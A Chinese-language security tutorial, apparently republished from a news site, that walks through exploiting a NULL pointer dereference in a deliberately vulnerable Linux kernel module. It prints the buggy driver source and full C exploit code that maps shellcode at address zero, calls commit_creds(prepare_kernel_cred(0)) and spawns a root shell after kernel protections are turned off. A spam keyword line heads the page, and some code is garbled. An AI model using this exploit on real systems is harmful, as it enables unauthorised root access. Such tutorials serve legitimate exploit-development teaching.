自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

內(nèi)核exploit——如何應(yīng)對(duì)空指針異?,F(xiàn)象

安全 網(wǎng)站安全
如果一個(gè)未初始化或零編號(hào)(zero-ed out)的指針被取消引用時(shí),將會(huì)導(dǎo)致程序計(jì)數(shù)器/指令指針(PC/IP)指向0,從而導(dǎo)致內(nèi)核崩潰!目前有一些內(nèi)核結(jié)構(gòu),持有當(dāng)前的進(jìn)程權(quán)限。我們將嘗試?yán)脵?quán)限來(lái)進(jìn)行root,并在處理完這些后再追加一個(gè)shell命令。

什么是空指針異常?

如果一個(gè)未初始化或零編號(hào)(zero-ed out)的指針被取消引用時(shí),將會(huì)導(dǎo)致程序計(jì)數(shù)器/指令指針(PC/IP)指向0,從而導(dǎo)致內(nèi)核崩潰!

當(dāng)遇到上述情況,首先需檢查是否啟用了任何保護(hù)程序,如果啟用了就將其全部關(guān)閉,包括管理員保護(hù)模式、數(shù)據(jù)執(zhí)行保護(hù)模式(DEP / NX)以及mmap_min_addr保護(hù)機(jī)制。

ring0層與ring3層有所區(qū)別(Intel的CPU將特權(quán)級(jí)別分為4個(gè)級(jí)別:RING0、RING1、RING2、RING3。Windows只使用其中的兩個(gè)級(jí)別RING0和RING3,RING0只給操作系統(tǒng)用,RING3誰(shuí)都能用)。由于計(jì)算機(jī)使用二進(jìn)制,因此在ring3層操作過(guò)程中,我們僅需要關(guān)注如何追加一個(gè)shell命令,我們需要這個(gè)時(shí)間來(lái)修改權(quán)限。慶幸的是,目前仍存在一些內(nèi)核結(jié)構(gòu),持有當(dāng)前的進(jìn)程權(quán)限。我們將嘗試?yán)脵?quán)限來(lái)進(jìn)行root,并在處理完這些后再追加一個(gè)shell命令。

如何提升權(quán)限?

在進(jìn)行提升權(quán)限操作前,我們需要知道我們需要做哪些事情:

每個(gè)進(jìn)程信息都存儲(chǔ)為一個(gè)進(jìn)程描述符(task_struct)

下列是sched.h文件:

  1. struct task_struct { 
  2. /* ... */ 
  3. /* Process credentials: */ 
  4. /* Tracer's credentials at attach: */ 
  5. const struct cred __rcu *ptracer_cred; 
  6. /* Objective and real subjective task credentials (COW): */ 
  7. const struct cred __rcu *real_cred; 
  8. /* Effective (overridable) subjective task credentials (COW): */ 
  9. const struct cred __rcu *cred; 
  10. /* ... */ 
  11. 下列是cred.h文件: 
  12. struct cred { 
  13. /* ... */ 
  14. kuid_tuid;/* real UID of the task */ 
  15. kgid_tgid;/* real GID of the task */ 
  16. kuid_tsuid;/* saved UID of the task */ 
  17. kgid_tsgid;/* saved GID of the task */ 
  18. kuid_teuid;/* effective UID of the task */ 
  19. kgid_tegid;/* effective GID of the task */ 
  20. /* ... */ 

下面我們將主要關(guān)注有效的用戶身份證明(UID)任務(wù)。如果我們成功將其值設(shè)置為0,則當(dāng)前任務(wù)將具有root權(quán)限!

我們應(yīng)該如何找到他們?

可以利用一些內(nèi)核符號(hào)。

一些功能可用于提升當(dāng)前的進(jìn)程權(quán)限,它們的地址是靜態(tài)的,可以根據(jù)我們處理的內(nèi)核重新生成:

  1. /proc/kallsyms, /proc/ksyms, /dev/ksyms.. 

上述這些函數(shù)在cred.c.中。

  1. extern int commit_creds(struct cred *); 
  2. /* ... */ 
  3. extern struct cred *prepare_kernel_cred(struct task_struct *); 

我們可以看到,prepare_kernel_cred()函數(shù)的返回值類型為struct cred *,之后再以此作為參數(shù)傳遞給commit_creds(),這樣就可以將我們新獲得的權(quán)限分配給當(dāng)前的進(jìn)程!

結(jié)論:可以通過(guò)“commit_creds(prepare_kernel_cred(0))”命令來(lái)提升權(quán)限;

了解漏洞并學(xué)會(huì)觸發(fā)這些漏洞

在進(jìn)行內(nèi)核開發(fā)前,我們需要知道如何觸發(fā)漏洞,還需要知道在什么情況下指針會(huì)被取消。

[[207671]]

解決內(nèi)核威脅問題

我們首先需要檢查保護(hù)程序

解決內(nèi)核威脅問題

如上圖所示,所有的保護(hù)措施都出于關(guān)閉狀態(tài)。

在“tostring_write()”函數(shù)里,我們可以看到這些命令應(yīng)該始終以10'*'開頭。

當(dāng)這個(gè)內(nèi)核模塊被加載時(shí),它會(huì)在每次運(yùn)行時(shí)啟動(dòng)結(jié)構(gòu),每次運(yùn)行都會(huì)啟動(dòng)一次。

如上圖所示,我們不難發(fā)現(xiàn)這會(huì)啟動(dòng)“tostring_create()”。當(dāng)在“tostring_s struct!”下設(shè)置函數(shù)指針時(shí),該功能就會(huì)響應(yīng)

這一點(diǎn)非常重要,請(qǐng)謹(jǐn)記于心!因此,這兩個(gè)指針在每次運(yùn)行時(shí)都被設(shè)置一次(或者需要的話)。

現(xiàn)在我們輕易地就能辨認(rèn)出漏洞的函數(shù),如下所示:

  1. static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off) 
  2. char *bufk; 
  3. int i,j; 
  4. printk(KERN_INFO "Tostring: write()\n"); 
  5. bufk = kmalloc(len + 1, GFP_DMA); 
  6. if (bufk){ 
  7. if (copy_from_user(bufk, buf, len)) 
  8.     return -EFAULT; 
  9. bufk[len] = '\0'; 
  10. i=0
  11. while(i <len) { 
  12.   for (j=0;(j<10) && (bufk[j]=='*');j++); 
  13.   if (j == 10) { 
  14.     for (j=i+10;(bufk[j]!='\0') && (bufk[j] != '\n');j++); 
  15.     bufk[j]='\0'; 
  16.     printk("Tostring: Cmd %s\n",bufk+i+10); 
  17.     switch(bufk[i+10]) { 
  18.     case 'H': 
  19.       tostring->tostring_readtostring_read_hexa
  20.       break; 
  21.     case 'D': 
  22.       tostring->tostring_readtostring_read_dec
  23.       break; 
  24.     case 'S': 
  25.       printk("Tostring: Delete stack\n"); 
  26.       kfree(tostring->tostring_stack); 
  27.       tostring->tostring_stack=NULL
  28.       tostring->tostring_read=NULL
  29.       tostring->pointer=0
  30.       tostring->pointer_max=0
  31.       break; 
  32.     case 'N': 
  33.       printk("Tostring: Stack create with size %ld\n",local_strtoul(bufk+i+11,NULL,10)); 
  34.       if (tostring->tostring_stack==NULL) tostring_create(local_strtoul(bufk+i+11,NULL,10)); 
  35.       if (tostring->tostring_stack==NULL) printk("Tostring: Error, impossible to create stack\n"); 
  36.       break; 
  37.     } 
  38.     i=j+1; 
  39.   } 
  40.   else { 
  41.     printk("tostring: insertion %lld\n",*((long long int *) (bufk+i))); 
  42.     if (tostring->pointer >= tostring->pointer_max) 
  43.       printk(KERN_INFO "Tostring: Stack full\n"); 
  44.     else 
  45.       tostring->tostring_stack[(tostring->pointer)++]= *((long long int *) (bufk+i)); 
  46.     ii = i+sizeof(long long int); 
  47.   } 
  48. kfree(bufk); 
  49. return len; 

正如我們所見,在“ten '*'”后會(huì)出現(xiàn)一個(gè)“S”。這就會(huì)使函數(shù)指針tostring_read無(wú)效,而這一點(diǎn)對(duì)我們有力。

但是,在將其設(shè)置為null之后,我們需要讀取它,以使其被取消引用。因此,我們需要讀取該文件,以觸發(fā)啟用“tostring_read()!”命令。

http://p8.qhimg.com/t013e67bd64133d02e9.png

我們開始編寫開發(fā)程序。我們之前使用Python語(yǔ)言進(jìn)行編寫,現(xiàn)在我們換成C語(yǔ)言。

我們先寫一個(gè)較為簡(jiǎn)單的以觸發(fā)命令和清除函數(shù)指針。

  1. #include <stdio.h> 
  2. #include <string.h> 
  3. #include <stdlib.h> 
  4. #include <sys/mman.h> 
  5. #include <fcntl.h> 
  6. /**/ 
  7. #define vulnerable_device "/dev/tostring" 
  8. /**/ 
  9. void main(void){ 
  10. int fd; 
  11. char payload[15]; 
  12. /**/ 
  13. memset(payload, '*', 10); 
  14. /**/ 
  15. payload[10] = 'S'; 
  16. payload[11] = 0; 
  17. /**/ 
  18. fd = open(vulnerable_device, O_RDWR); 
  19. if(fd < 0){ 
  20. printf("Couldn't open device!"); 
  21. /**/ 
  22. write(fd, payload, 12); 

目前一切都比較順利,但我們?nèi)孕柰ㄟ^(guò)讀取文件使其取消引用。

  1. read(fd, 0, 1) 

我們做到了,我們將其IP指針設(shè)置為0

幸運(yùn)的是,mmap_min_addr保護(hù)處于關(guān)閉狀態(tài)。 我們可以在NULL中分配一個(gè)小區(qū)域,并放置我們的shellcode來(lái)提升權(quán)限。

現(xiàn)在就可以從“/proc/kallsyms!”中獲得“prepare_kernel_cred”和“commit_creds”地址。

http://p3.qhimg.com/t015c9180be49718961.png

我將使用rasm2做一個(gè)shellcode:

以下是shellcode:

在我們的開發(fā)程序中取消指針前,我們就可以開始添加shellcode:

  1. #include <stdio.h> 
  2. #include <string.h> 
  3. #include <stdlib.h> 
  4. #include <sys/mman.h> 
  5. #include <fcntl.h> 
  6. /**/ 
  7. #define vulnerable_device "/dev/tostring" 
  8. /**/ 
  9. void pop_shell(){ 
  10. system("sh"); 
  11. /**/ 
  12. void main(void){ 
  13. int fd; 
  14. char payload[15]; 
  15. char shellcode[15] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3"; 
  16. /**/ 
  17. memset(payload, '*', 10); 
  18. /**/ 
  19. payload[10] = 'S'; 
  20. payload[11] = 0; 
  21. /**/ 
  22. fd = open(vulnerable_device, O_RDWR); 
  23. if(fd < 0){ 
  24. printf("Couldn't open device!"); 
  25. write(fd, payload, 12); 
  26. /**/ 
  27. mmap(NULL, sizeof(shellcode), PROT_EXEC |PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED, -1, 0); 
  28. memcpy(NULL, shellcode, sizeof(shellcode)); 
  29. /**/ 
  30. read(fd, 0, 1); 
  31. /**/ 
  32. pop_shell(); 

在完成后,開始運(yùn)行

以下是root shell

https://s5.51cto.com/oss/201710/25/87a7925d8110979ef1b53d535e43e1d6.png

希望文章能對(duì)大家有所啟發(fā)和幫助!

責(zé)任編輯:趙寧寧 來(lái)源: 安全客
相關(guān)推薦

2010-03-09 14:10:13

Python循環(huán)語(yǔ)句

2019-05-17 09:02:19

TCP協(xié)議服務(wù)端

2019-05-28 09:40:39

TCP協(xié)議socket接口

2010-02-23 18:05:40

WCF異?,F(xiàn)象

2019-05-16 15:19:40

TCP協(xié)議TCP通信三次握手

2019-05-19 16:53:57

TCP協(xié)議TCP通信三次握手

2023-12-26 15:06:00

Linux內(nèi)核轉(zhuǎn)儲(chǔ)

2022-02-25 23:54:43

人工智能數(shù)據(jù)計(jì)算

2015-12-02 10:09:05

霧霾數(shù)據(jù)中心

2018-08-16 08:40:50

空氣污染物聯(lián)網(wǎng)IOT

2014-03-13 16:59:11

獨(dú)立開發(fā)者刷榜排名

2015-07-30 10:12:32

JavaNullAssert

2023-09-14 13:13:35

DNA千年外星人

2009-12-01 18:43:33

2013-07-11 09:51:15

2012-02-28 09:57:32

機(jī)房空調(diào)

2015-07-27 11:34:03

Linux內(nèi)核指針

2009-05-14 15:13:29

2023-10-08 11:09:22

Optional空指針

2022-01-19 09:00:00

Java空指針開發(fā)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)